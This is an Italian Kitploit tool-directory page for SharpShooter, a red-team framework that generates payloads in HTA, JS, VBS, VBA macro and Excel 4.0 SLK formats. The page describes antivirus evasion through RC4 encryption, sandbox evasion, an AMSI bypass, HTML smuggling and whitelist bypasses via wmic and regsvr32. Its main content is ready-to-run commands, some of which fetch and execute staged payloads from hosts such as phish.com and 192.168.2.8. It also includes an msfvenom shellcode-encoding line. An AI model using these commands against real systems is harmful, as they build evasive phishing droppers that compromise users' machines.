Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SharpShooter — Framework di generazione di payload | Kitploit
Strumenti/GitHubGitHub/mdsecactivebreach/sharpshooter
Strumenti di PhishingEscalation di PrivilegiGenerazione di PayloadExploitEvasione IDS/IPSMovimento LateraleShellcodeSfruttamento di Applicazioni WebCommand and ControlRed TeamingSviluppo PayloadAnalisi DNS
2.0k3682 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubmdsecactivebreach/sharpshooter

SharpShooter

Framework di generazione di payload

Vedi Repository
root@kitploit:~
   _____ __                    _____ __                __           
  / ___// /_  ____ __________ / ___// /_  ____  ____  / /____  _____
  \__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
 ___/ / / / / /_/ / /  / /_/ /__/ / / / / /_/ / /_/ / /_/  __/ /    
/____/_/ /_/\__,_/_/  / .___/____/_/ /_/\____/\____/\__/\___/_/     
                     /_/                                            

Descrizione

SharpShooter è un framework per la creazione di payload per il recupero e l'esecuzione di codice CSharp arbitrario. SharpShooter è in grado di creare payload in vari formati, inclusi HTA, JS, VBS e WSF. Sfrutta lo strumento DotNetToJavaScript di James Forshaw per invocare metodi dall'oggetto serializzato DotNet di SharpShooter. I payload possono essere recuperati utilizzando la consegna Web o DNS o entrambi; SharpShooter è compatibile con il progetto MDSec ActiveBreach PowerDNS. In alternativa, è possibile generare anche payload senza staging con esecuzione di shellcode incorporata per gli stessi formati di scripting.

I payload di SharpShooter sono crittografati con RC4 utilizzando una chiave casuale per fornire un modesto elusione degli antivirus, e il progetto include la capacità di integrare il rilevamento di sandbox e il keying dell'ambiente per aiutare a eludere il rilevamento.

SharpShooter include un template CSharp predefinito per eseguire shellcode con payload con e senza staging, ma qualsiasi codice CSharp può essere compilato e invocato in memoria utilizzando la reflection, grazie al provider CodeDom di CSharp.

Infine, SharpShooter offre la possibilità di raggruppare il payload all'interno di un file HTML utilizzando la tecnica Demiguise HTML smuggling.

SharpShooter è mirato alle versioni v2, v3 e v4 del framework .NET che si trovano sulla maggior parte delle workstation Windows degli utenti finali.

La versione 1.0 di SharpShooter ha introdotto diversi nuovi concetti, tra cui il COM staging, l'esecuzione di Squiblydoo e Squiblytwo, nonché l'esecuzione XSL. Per realizzare questa nuova funzionalità, sono stati aggiunti diversi nuovi flag: --com, --awl e --awlurl.

La versione 2.0 di SharpShooter ha aggiunto il modulo di bypass AMSI, insieme al supporto per la generazione di documenti con macro VBA ed Excel 4.

Ulteriori informazioni sono disponibili nel post del blog MDSec.

Utilizzo - Modalità da riga di comando:

SharpShooter è altamente configurabile e supporta diversi tipi di payload, evasioni sandbox, metodi di consegna e tipi di output.

Eseguire SharpShooter con l'argomento --help produrrà il seguente output:

root@kitploit:~
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
                       [--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
                       [--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
                       [--rawscfile <path>] [--shellcode] [--scfile <path>]
                       [--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
                       [--web <web>] [--dns <dns>] [--output <output>]
                       [--smuggle] [--template <tpl>]

optional arguments:
  -h, --help          show this help message and exit
  --stageless         Create a stageless payload
  --dotnetver <ver>   Target .NET Version: 2 or 4
  --com <com>         COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
  --awl <awl>         Application Whitelist Bypass Technique: wmic, regsvr32
  --awlurl <awlurl>   URL to retrieve XSL/SCT payload
  --payload <format>  Payload type: hta, js, jse, vba, vbe, vbs, wsf
  --sandbox <types>   Anti-sandbox techniques:
                      [1] Key to Domain (e.g. 1=CONTOSO)
                      [2] Ensure Domain Joined
                      [3] Check for Sandbox Artifacts
                      [4] Check for Bad MACs
                      [5] Check for Debugging
  --amsi <amsi>       Use amsi bypass technique: amsienable
  --delivery <type>   Delivery method: web, dns, both
  --rawscfile <path>  Path to raw shellcode file for stageless payloads
  --shellcode         Use built in shellcode execution
  --scfile <path>     Path to shellcode file as CSharp byte array
  --refs <refs>       References required to compile custom CSharp,
                      e.g. mscorlib.dll,System.Windows.Forms.dll
  --namespace <ns>    Namespace for custom CSharp,
                      e.g. Foo.bar
  --entrypoint <ep>   Method to execute,
                      e.g. Main
  --web <web>         URI for web delivery
  --dns <dns>         Domain for DNS delivery
  --output <output>   Name of output file (e.g. maldoc)
  --smuggle           Smuggle file inside HTML
  --template <tpl>    Name of template file (e.g. mcafee)

Di seguito sono forniti esempi di alcuni casi d'uso:

JavaScript senza staging

root@kitploit:~
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

Crea un payload JavaScript senza staging mirato alla versione 4 del framework .NET. Questo esempio creerà un payload denominato foo.js nella directory di output. Lo shellcode viene letto dal file ./raw.txt. Il payload tenta di imporre un'evasione sandbox chiavando l'esecuzione al dominio CONTOSO e controllando la presenza di artefatti noti di sandbox/VM.

HTA senza staging

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

Crea un payload HTA senza staging mirato alla versione 2/3 del framework .NET. Questo esempio creerà un payload denominato foo.hta nella directory di output. Lo shellcode viene letto dal file ./raw.txt. Il payload tenta di imporre un'evasione sandbox controllando la presenza di indirizzi MAC virtuali noti. Verrà inoltre generato un payload di contrabbando HTML denominato foo.html nella directory di output. Questo payload utilizzerà il template di esempio di scansione antivirus McAfee.

VBS con staging

root@kitploit:~
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

Questo esempio crea un payload VBS con staging che esegue sia la consegna Web che DNS. Il payload tenterà di recuperare un file CSharp GZip che esegue lo shellcode fornito come array di byte CSharp nel file csharpsc.txt. Il file CSharp utilizzato è il template di esecuzione shellcode integrato di SharpShooter. Il payload viene creato nella directory di output con nome foo.payload e dovrebbe essere ospitato su http://www.foo.bar/shellcode.payload. Lo stesso file dovrebbe essere ospitato anche sul dominio bar.foo utilizzando PowerDNS per servirlo. Il file VBS tenterà di chiavare l'esecuzione al dominio CONTOSO e sarà incorporato in un file HTML utilizzando la tecnica di contrabbando HTML con il template di scansione antivirus McAfee. Il payload risultante viene salvato nella directory di output con nome foo.html.

CSharp personalizzato all'interno di VBS

root@kitploit:~
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

Questo esempio mostra come creare un payload JS con staging che esegue la consegna web, recuperando un payload da http://www.phish.com/implant.payload. Il payload generato tenterà l'evasione sandbox e tenterà di compilare il payload recuperato che richiede mscorlib.dll e System.Windows.Forms.dll come riferimenti DLL. Il metodo Main nello spazio dei nomi MDSec.SharpShooter verrà eseguito al termine della compilazione.

Creazione di un VBS Squiblytwo

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

Questo esempio crea uno stager COM contrabbandato in VBS che utilizza il metodo COM Outlook.CreateObject() come primitiva per eseguire wmic.exe ed eseguire un foglio di stile ospitato. Il parametro --awl non viene utilizzato, di default utilizza wmic.

Creazione di un HTA XSL

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

Questo esempio crea un file HTA contrabbandato che utilizza l'interfaccia COM XMLDOM per recuperare ed eseguire un foglio di stile ospitato.

Creazione di una Macro VBA

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

Questo esempio crea un file macro VBA che utilizza l'interfaccia COM XMLDOM per recuperare ed eseguire un foglio di stile ospitato.

Creazione di un documento Excel 4.0 SLK abilitato per macro

root@kitploit:~
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

Questo esempio crea un file Excel 4.0 SLK che esegue lo shellcode fornito e lo avvolge in HTML. Lo shellcode non può contenere byte nulli, suggerimento:

root@kitploit:~
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'

Autore e Crediti

Autore: Dominic Chell, MDSec ActiveBreach @domchell e @mdseclabs

Crediti:

  • @tiraniddo: James Forshaw per DotNetToJScript
  • @Arno0x0x: per EmbedInHTML
  • @buffaloverflow: Rich Warren per Demiguise
  • @arvanaghi e @ChrisTruncer: Brandon Arvanaghi e Chris Truncer per CheckPlease
  • @subTee: Documentazione per le tecniche Squiblydoo e Squiblytwo
  • @StanHacked: Tecnica Excel 4.0 ed esempi di codice
Scarica lo strumento